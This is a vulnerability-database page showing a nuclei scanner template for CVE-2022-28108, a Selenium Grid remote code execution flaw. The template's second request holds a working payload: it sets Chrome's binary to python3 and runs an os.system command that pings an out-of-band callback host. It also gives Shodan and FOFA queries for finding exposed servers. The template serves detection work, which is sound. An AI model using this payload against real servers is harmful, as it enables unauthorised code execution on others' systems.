Lucene search
+L

Selenium Grid < 4.0.0-alpha-7 - Remote Code Execution

🗓️ 14 Oct 2026 02:05:09Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 2 Views

Unauthenticated RCE in Selenium Grid via /wd/hub/session capability injection.

Related
Refs
Code
id: CVE-2022-28108

info:
  name: Selenium Grid < 4.0.0-alpha-7 - Remote Code Execution
  author: t0xk
  severity: critical
  description: |
    Selenium Server (Grid) before 4.0.0-alpha-7 permits unauthenticated session creation and unsafe capability injection via /wd/hub/session due to missing Origin validation and weak content-type enforcement.
  impact: |
    An unauthenticated attacker can achieve remote code execution as the Selenium Grid process owner by crafting a malicious payload and sending it to the /wd/hub/session endpoint.
  remediation: |
    Upgrade to Selenium Server 4.0.0-alpha-7 or later and restrict network exposure.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28108
    - https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/
    - https://github.com/SeleniumHQ/selenium/blob/trunk/java/CHANGELOG
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-28108
    epss-score: 0.11727
    epss-percentile: 0.95994
    cwe-id: CWE-352
    cpe: cpe:2.3:a:selenium:selenium_grid:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.title:"Selenium Grid"
    fofa-query: title="Selenium Grid"
    product: selenium_grid
    vendor: selenium
  tags: cve,cve2022,selenium,grid,rce,dns-rebinding

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wd/hub/status"

    matchers:
      - type: regex
        regex:
          - '"version"\s*:\s*"(3\..*|4\.0\.0-alpha-[1-6])"'
          - '"value":'
        condition: and
        internal: true

  - method: POST
    path:
      - "{{BaseURL}}/wd/hub/session"

    headers:
      Content-Type: application/json

    body: |
      {
        "capabilities": {
          "alwaysMatch": {
            "browserName": "chrome",
            "goog:chromeOptions": {
              "binary": "/usr/bin/python3",
              "args": [
                "-c",
                "import os; os.system('ping -c1 {{interactsh-url}}')"
              ]
            }
          }
        }
      }

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "The process started from chrome location"
# digest: 4a0a00473045022025fc941da02cfde15a0c4a1949787feb8efd461cf8375c44fed0b6256f4a8813022100f20373aad95b1c8492300c70e093867d6cb83f3560d71a143aeba51d57d04e29:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Apr 2026 14:11Current
7.8High risk
Vulners AI Score7.8
CVSS 3.18.8
CVSS 29.3
EPSS0.22193
2